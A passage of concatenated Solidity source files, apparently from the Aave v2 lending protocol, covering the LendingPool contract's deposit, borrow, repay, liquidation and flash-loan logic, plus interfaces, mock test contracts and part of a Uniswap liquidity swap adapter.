_addressesProvider = provider; _maxStableRateBorrowSizePercent = 2500; _flashLoanPremiumTotal = 9; _maxNumberOfReserves = 128; } /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateDeposit(reserve, amount); address aToken = reserve.aTokenAddress; reserve.updateState(); reserve.updateInterestRates(asset, aToken, amount, 0); IERC20(asset).safeTransferFrom(msg.sender, aToken, amount); bool isFirstDeposit = IAToken(aToken).mint(onBehalfOf, amount, reserve.liquidityIndex); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount, referralCode); } /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; address aToken = reserve.aTokenAddress; uint256 userBalance = IAToken(aToken).balanceOf(msg.sender); uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = userBalance; } ValidationLogic.validateWithdraw( asset, amountToWithdraw, userBalance, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); reserve.updateState(); reserve.updateInterestRates(asset, aToken, 0, amountToWithdraw); if (amountToWithdraw == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IAToken(aToken).burn(msg.sender, to, amountToWithdraw, reserve.liquidityIndex); emit Withdraw(asset, msg.sender, to, amountToWithdraw); return amountToWithdraw; } /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; _executeBorrow( ExecuteBorrowParams( asset, msg.sender, onBehalfOf, amount, interestRateMode, reserve.aTokenAddress, referralCode, true ) ); } /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(onBehalfOf, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateRepay( reserve, amount, interestRateMode, onBehalfOf, stableDebt, variableDebt ); uint256 paybackAmount = interestRateMode == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } reserve.updateState(); if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(onBehalfOf, paybackAmount); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); } address aToken = reserve.aTokenAddress; reserve.updateInterestRates(asset, aToken, paybackAmount, 0); if (stableDebt.add(variableDebt).sub(paybackAmount) == 0) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } IERC20(asset).safeTransferFrom(msg.sender, aToken, paybackAmount); IAToken(aToken).handleRepayment(msg.sender, paybackAmount); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); return paybackAmount; } /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(msg.sender, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateSwapRateMode( reserve, _usersConfig[msg.sender], stableDebt, variableDebt, interestRateMode ); reserve.updateState(); if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(msg.sender, stableDebt); IVariableDebtToken(reserve.variableDebtTokenAddress).mint( msg.sender, msg.sender, stableDebt, reserve.variableBorrowIndex ); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( msg.sender, variableDebt, reserve.variableBorrowIndex ); IStableDebtToken(reserve.stableDebtTokenAddress).mint( msg.sender, msg.sender, variableDebt, reserve.currentStableBorrowRate ); } reserve.updateInterestRates(asset, reserve.aTokenAddress, 0, 0); emit Swap(asset, msg.sender, rateMode); } /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; IERC20 stableDebtToken = IERC20(reserve.stableDebtTokenAddress); IERC20 variableDebtToken = IERC20(reserve.variableDebtTokenAddress); address aTokenAddress = reserve.aTokenAddress; uint256 stableDebt = IERC20(stableDebtToken).balanceOf(user); ValidationLogic.validateRebalanceStableBorrowRate( reserve, asset, stableDebtToken, variableDebtToken, aTokenAddress ); reserve.updateState(); IStableDebtToken(address(stableDebtToken)).burn(user, stableDebt); IStableDebtToken(address(stableDebtToken)).mint( user, user, stableDebt, reserve.currentStableBorrowRate ); reserve.updateInterestRates(asset, aTokenAddress, 0, 0); emit RebalanceStableBorrowRate(asset, user); } /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateSetUseReserveAsCollateral( reserve, asset, useAsCollateral, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, useAsCollateral); if (useAsCollateral) { emit ReserveUsedAsCollateralEnabled(asset, msg.sender); } else { emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } } /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override whenNotPaused { address collateralManager = _addressesProvider.getLendingPoolCollateralManager(); //solium-disable-next-line (bool success, bytes memory result) = collateralManager.delegatecall( abi.encodeWithSignature( 'liquidationCall(address,address,address,uint256,bool)', collateralAsset, debtAsset, user, debtToCover, receiveAToken ) ); require(success, Errors.LP_LIQUIDATION_CALL_FAILED); (uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string)); require(returnCode == 0, string(abi.encodePacked(returnMessage))); } struct FlashLoanLocalVars { IFlashLoanReceiver receiver; address oracle; uint256 i; address currentAsset; address currentATokenAddress; uint256 currentAmount; uint256 currentPremium; uint256 currentAmountPlusPremium; address debtToken; } /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external override whenNotPaused { FlashLoanLocalVars memory vars; ValidationLogic.validateFlashloan(assets, amounts); address[] memory aTokenAddresses = new address[](assets.length); uint256[] memory premiums = new uint256[](assets.length); vars.receiver = IFlashLoanReceiver(receiverAddress); for (vars.i = 0; vars.i < assets.length; vars.i++) { aTokenAddresses[vars.i] = _reserves[assets[vars.i]].aTokenAddress; premiums[vars.i] = amounts[vars.i].mul(_flashLoanPremiumTotal).div(10000); IAToken(aTokenAddresses[vars.i]).transferUnderlyingTo(receiverAddress, amounts[vars.i]); } require( vars.receiver.executeOperation(assets, amounts, premiums, msg.sender, params), Errors.LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN ); for (vars.i = 0; vars.i < assets.length; vars.i++) { vars.currentAsset = assets[vars.i]; vars.currentAmount = amounts[vars.i]; vars.currentPremium = premiums[vars.i]; vars.currentATokenAddress = aTokenAddresses[vars.i]; vars.currentAmountPlusPremium = vars.currentAmount.add(vars.currentPremium); if (DataTypes.InterestRateMode(modes[vars.i]) == DataTypes.InterestRateMode.NONE) { _reserves[vars.currentAsset].updateState(); _reserves[vars.currentAsset].cumulateToLiquidityIndex( IERC20(vars.currentATokenAddress).totalSupply(), vars.currentPremium ); _reserves[vars.currentAsset].updateInterestRates( vars.currentAsset, vars.currentATokenAddress, vars.currentAmountPlusPremium, 0 ); IERC20(vars.currentAsset).safeTransferFrom( receiverAddress, vars.currentATokenAddress, vars.currentAmountPlusPremium ); } else { // If the user chose to not return the funds, the system checks if there is enough collateral and // eventually opens a debt position _executeBorrow( ExecuteBorrowParams( vars.currentAsset, msg.sender, onBehalfOf, vars.currentAmount, modes[vars.i], vars.currentATokenAddress, referralCode, false ) ); } emit FlashLoan( receiverAddress, msg.sender, vars.currentAsset, vars.currentAmount, vars.currentPremium, referralCode ); } } /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view override returns (DataTypes.ReserveData memory) { return _reserves[asset]; } /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view override returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ) { ( totalCollateralETH, totalDebtETH, ltv, currentLiquidationThreshold, healthFactor ) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); availableBorrowsETH = GenericLogic.calculateAvailableBorrowsETH( totalCollateralETH, totalDebtETH, ltv ); } /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view override returns (DataTypes.ReserveConfigurationMap memory) { return _reserves[asset].configuration; } /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view override returns (DataTypes.UserConfigurationMap memory) { return _usersConfig[user]; } /** * @dev Returns the normalized income per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view virtual override returns (uint256) { return _reserves[asset].getNormalizedIncome(); } /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view override returns (uint256) { return _reserves[asset].getNormalizedDebt(); } /** * @dev Returns if the LendingPool is paused */ function paused() external view override returns (bool) { return _paused; } /** * @dev Returns the list of the initialized reserves **/ function getReservesList() external view override returns (address[] memory) { address[] memory _activeReserves = new address[](_reservesCount); for (uint256 i = 0; i < _reservesCount; i++) { _activeReserves[i] = _reservesList[i]; } return _activeReserves; } /** * @dev Returns the cached LendingPoolAddressesProvider connected to this contract **/ function getAddressesProvider() external view override returns (ILendingPoolAddressesProvider) { return _addressesProvider; } /** * @dev Returns the percentage of available liquidity that can be borrowed at once at stable rate */ function MAX_STABLE_RATE_BORROW_SIZE_PERCENT() public view returns (uint256) { return _maxStableRateBorrowSizePercent; } /** * @dev Returns the fee on flash loans */ function FLASHLOAN_PREMIUM_TOTAL() public view returns (uint256) { return _flashLoanPremiumTotal; } /** * @dev Returns the maximum number of reserves supported to be listed in this LendingPool */ function MAX_NUMBER_RESERVES() public view returns (uint256) { return _maxNumberOfReserves; } /** * @dev Validates and finalizes an aToken transfer * - Only callable by the overlying aToken of the `asset` * @param asset The address of the underlying asset of the aToken * @param from The user from which the aTokens are transferred * @param to The user receiving the aTokens * @param amount The amount being transferred/withdrawn * @param balanceFromBefore The aToken balance of the `from` user before the transfer * @param balanceToBefore The aToken balance of the `to` user before the transfer */ function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromBefore, uint256 balanceToBefore ) external override whenNotPaused { require(msg.sender == _reserves[asset].aTokenAddress, Errors.LP_CALLER_MUST_BE_AN_ATOKEN); ValidationLogic.validateTransfer( from, _reserves, _usersConfig[from], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); uint256 reserveId = _reserves[asset].id; if (from != to) { if (balanceFromBefore.sub(amount) == 0) { DataTypes.UserConfigurationMap storage fromConfig = _usersConfig[from]; fromConfig.setUsingAsCollateral(reserveId, false); emit ReserveUsedAsCollateralDisabled(asset, from); } if (balanceToBefore == 0 && amount != 0) { DataTypes.UserConfigurationMap storage toConfig = _usersConfig[to]; toConfig.setUsingAsCollateral(reserveId, true); emit ReserveUsedAsCollateralEnabled(asset, to); } } } /** * @dev Initializes a reserve, activating it, assigning an aToken and debt tokens and an * interest rate strategy * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param aTokenAddress The address of the aToken that will be assigned to the reserve * @param stableDebtAddress The address of the StableDebtToken that will be assigned to the reserve * @param aTokenAddress The address of the VariableDebtToken that will be assigned to the reserve * @param interestRateStrategyAddress The address of the interest rate strategy contract **/ function initReserve( address asset, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external override onlyLendingPoolConfigurator { require(Address.isContract(asset), Errors.LP_NOT_CONTRACT); _reserves[asset].init( aTokenAddress, stableDebtAddress, variableDebtAddress, interestRateStrategyAddress ); _addReserveToList(asset); } /** * @dev Updates the address of the interest rate strategy contract * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param rateStrategyAddress The address of the interest rate strategy contract **/ function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress) external override onlyLendingPoolConfigurator { _reserves[asset].interestRateStrategyAddress = rateStrategyAddress; } /** * @dev Sets the configuration bitmap of the reserve as a whole * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param configuration The new configuration bitmap **/ function setConfiguration(address asset, uint256 configuration) external override onlyLendingPoolConfigurator { _reserves[asset].configuration.data = configuration; } /** * @dev Set the _pause state of a reserve * - Only callable by the LendingPoolConfigurator contract * @param val `true` to pause the reserve, `false` to un-pause it */ function setPause(bool val) external override onlyLendingPoolConfigurator { _paused = val; if (_paused) { emit Paused(); } else { emit Unpaused(); } } struct ExecuteBorrowParams { address asset; address user; address onBehalfOf; uint256 amount; uint256 interestRateMode; address aTokenAddress; uint16 referralCode; bool releaseUnderlying; } function _executeBorrow(ExecuteBorrowParams memory vars) internal { DataTypes.ReserveData storage reserve = _reserves[vars.asset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf]; address oracle = _addressesProvider.getPriceOracle(); uint256 amountInETH = IPriceOracleGetter(oracle).getAssetPrice(vars.asset).mul(vars.amount).div( 10**reserve.configuration.getDecimals() ); ValidationLogic.validateBorrow( vars.asset, reserve, vars.onBehalfOf, vars.amount, amountInETH, vars.interestRateMode, _maxStableRateBorrowSizePercent, _reserves, userConfig, _reservesList, _reservesCount, oracle ); reserve.updateState(); uint256 currentStableRate = 0; bool isFirstBorrowing = false; if (DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE) { currentStableRate = reserve.currentStableBorrowRate; isFirstBorrowing = IStableDebtToken(reserve.stableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, currentStableRate ); } else { isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, reserve.variableBorrowIndex ); } if (isFirstBorrowing) { userConfig.setBorrowing(reserve.id, true); } reserve.updateInterestRates( vars.asset, vars.aTokenAddress, 0, vars.releaseUnderlying ? vars.amount : 0 ); if (vars.releaseUnderlying) { IAToken(vars.aTokenAddress).transferUnderlyingTo(vars.user, vars.amount); } emit Borrow( vars.asset, vars.user, vars.onBehalfOf, vars.amount, vars.interestRateMode, DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE ? currentStableRate : reserve.currentVariableBorrowRate, vars.referralCode ); } function _addReserveToList(address asset) internal { uint256 reservesCount = _reservesCount; require(reservesCount < _maxNumberOfReserves, Errors.LP_NO_MORE_RESERVES_ALLOWED); bool reserveAlreadyAdded = _reserves[asset].id != 0 || _reservesList[0] == asset; if (!reserveAlreadyAdded) { _reserves[asset].id = uint8(reservesCount); _reservesList[reservesCount] = asset; _reservesCount = reservesCount + 1; } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; interface IExchangeAdapter { event Exchange( address indexed from, address indexed to, address indexed platform, uint256 fromAmount, uint256 toAmount ); function approveExchange(IERC20[] calldata tokens) external; function exchange( address from, address to, uint256 amount, uint256 maxSlippage ) external returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol'; /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract MintableDelegationERC20 is ERC20 { address public delegatee; constructor( string memory name, string memory symbol, uint8 decimals ) public ERC20(name, symbol) { _setupDecimals(decimals); } /** * @dev Function to mint tokensp * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(uint256 value) public returns (bool) { _mint(msg.sender, value); return true; } function delegate(address delegateeAddress) external { delegatee = delegateeAddress; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import {MintableERC20} from '../tokens/MintableERC20.sol'; contract MockUniswapV2Router02 is IUniswapV2Router02 { mapping(address => uint256) internal _amountToReturn; mapping(address => uint256) internal _amountToSwap; mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsIn; mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsOut; uint256 internal defaultMockValue; function setAmountToReturn(address reserve, uint256 amount) public { _amountToReturn[reserve] = amount; } function setAmountToSwap(address reserve, uint256 amount) public { _amountToSwap[reserve] = amount; } function swapExactTokensForTokens( uint256 amountIn, uint256, /* amountOutMin */ address[] calldata path, address to, uint256 /* deadline */ ) external override returns (uint256[] memory amounts) { IERC20(path[0]).transferFrom(msg.sender, address(this), amountIn); MintableERC20(path[1]).mint(_amountToReturn[path[0]]); IERC20(path[1]).transfer(to, _amountToReturn[path[0]]); amounts = new uint256[](path.length); amounts[0] = amountIn; amounts[1] = _amountToReturn[path[0]]; } function swapTokensForExactTokens( uint256 amountOut, uint256, /* amountInMax */ address[] calldata path, address to, uint256 /* deadline */ ) external override returns (uint256[] memory amounts) { IERC20(path[0]).transferFrom(msg.sender, address(this), _amountToSwap[path[0]]); MintableERC20(path[1]).mint(amountOut); IERC20(path[1]).transfer(to, amountOut); amounts = new uint256[](path.length); amounts[0] = _amountToSwap[path[0]]; amounts[1] = amountOut; } function setAmountOut( uint256 amountIn, address reserveIn, address reserveOut, uint256 amountOut ) public { _amountsOut[reserveIn][reserveOut][amountIn] = amountOut; } function setAmountIn( uint256 amountOut, address reserveIn, address reserveOut, uint256 amountIn ) public { _amountsIn[reserveIn][reserveOut][amountOut] = amountIn; } function setDefaultMockValue(uint256 value) public { defaultMockValue = value; } function getAmountsOut(uint256 amountIn, address[] calldata path) external view override returns (uint256[] memory) { uint256[] memory amounts = new uint256[](path.length); amounts[0] = amountIn; amounts[1] = _amountsOut[path[0]][path[1]][amountIn] > 0 ? _amountsOut[path[0]][path[1]][amountIn] : defaultMockValue; return amounts; } function getAmountsIn(uint256 amountOut, address[] calldata path) external view override returns (uint256[] memory) { uint256[] memory amounts = new uint256[](path.length); amounts[0] = _amountsIn[path[0]][path[1]][amountOut] > 0 ? _amountsIn[path[0]][path[1]][amountOut] : defaultMockValue; amounts[1] = amountOut; return amounts; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; /** * @title UniswapLiquiditySwapAdapter * @notice Uniswap V2 Adapter to swap liquidity. * @author Aave **/ contract UniswapLiquiditySwapAdapter is BaseUniswapAdapter { struct PermitParams { uint256[] amount; uint256[] deadline; uint8[] v; bytes32[] r; bytes32[] s; } struct SwapParams { address[] assetToSwapToList; uint256[] minAmountsToReceive; bool[] swapAllBalance; PermitParams permitParams; bool[] useEthPath; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Swaps the received reserve amount from the flash loan into the asset specified in the params. * The received funds from the swap are then deposited into the protocol on behalf of the user. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and * repay the flash loan. * @param assets Address of asset to be swapped * @param amounts Amount of the asset to be swapped * @param premiums Fee of the flash loan * @param initiator Address of the user * @param params Additional variadic field to include extra params. Expected parameters: * address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited * uint256[] minAmountsToReceive List of min amounts to be received from the swap * bool[] swapAllBalance Flag indicating if all the user balance should be swapped * uint256[] permitAmount List of amounts for the permit signature * uint256[] deadline List of deadlines for the permit signature * uint8[] v List of v param for the permit signature * bytes32[] r List of r param for the permit signature * bytes32[] s List of s param for the permit signature */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); SwapParams memory decodedParams = _decodeParams(params); require( assets.length == decodedParams.assetToSwapToList.length && assets.length == decodedParams.minAmountsToReceive.length && assets.length == decodedParams.swapAllBalance.length && assets.length == decodedParams.permitParams.amount.length && assets.length == decodedParams.permitParams.deadline.length && assets.length == decodedParams.permitParams.v.length && assets.length == decodedParams.permitParams.r.length && assets.length == decodedParams.permitParams.s.length && assets.length == decodedParams.useEthPath.length, 'INCONSISTENT_PARAMS' ); for (uint256 i = 0; i < assets.length; i++) { _swapLiquidity( assets[i], decodedParams.assetToSwapToList[i], amounts[i], premiums[i], initiator, decodedParams.minAmountsToReceive[i], decodedParams.swapAllBalance[i], PermitSignature( decodedParams.permitParams.amount[i], decodedParams.permitParams.deadline[i], decodedParams.permitParams.v[i], decodedParams.permitParams.r[i], decodedParams.permitParams.s[i] ), decodedParams.useEthPath[i] ); } return true; } struct SwapAndDepositLocalVars { uint256 i; uint256 aTokenInitiatorBalance; uint256 amountToSwap; uint256 receivedAmount; address aToken; } /** * @dev Swaps an amount of an asset to another and deposits the new asset amount on behalf of the user without using * a flash loan. This method can be used when the temporary transfer of the collateral asset to this contract * does not affect the user position. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and * perform the swap. * @param assetToSwapFromList List of addresses of the underlying asset to be swap from * @param assetToSwapToList List of addresses of the underlying asset to be swap to and deposited * @param amountToSwapList List of amounts to be swapped. If the amount exceeds the balance, the total balance is used for the swap * @param minAmountsToReceive List of min amounts to be received from the swap * @param permitParams List of struct containing the permit signatures * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v param for the permit signature * bytes32 r param for the permit signature * bytes32 s param for the permit signature * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise */ function swapAndDeposit( address[] calldata assetToSwapFromList, address[] calldata assetToSwapToList, uint256[] calldata amountToSwapList, uint256[] calldata minAmountsToReceive, PermitSignature[] calldata permitParams, bool[] calldata useEthPath ) external { require( assetToSwapFromList.length == assetToSwapToList.length && assetToSwapFromList.length == amountToSwapList.length && assetToSwapFromList.length == minAmountsToReceive.length && assetToSwapFromList.length == permitParams.length, 'INCONSISTENT_PARAMS' ); SwapAndDepositLocalVars memory vars; for (vars.i = 0; vars.i < assetToSwapFromList.length; vars.i++) { vars.aToken = _getReserveData(assetToSwapFromList[vars.i]).aTokenAddress; vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(msg.sender); vars.amountToSwap = amountToSwapList[vars.i] > vars.aTokenInitiatorBalance ? 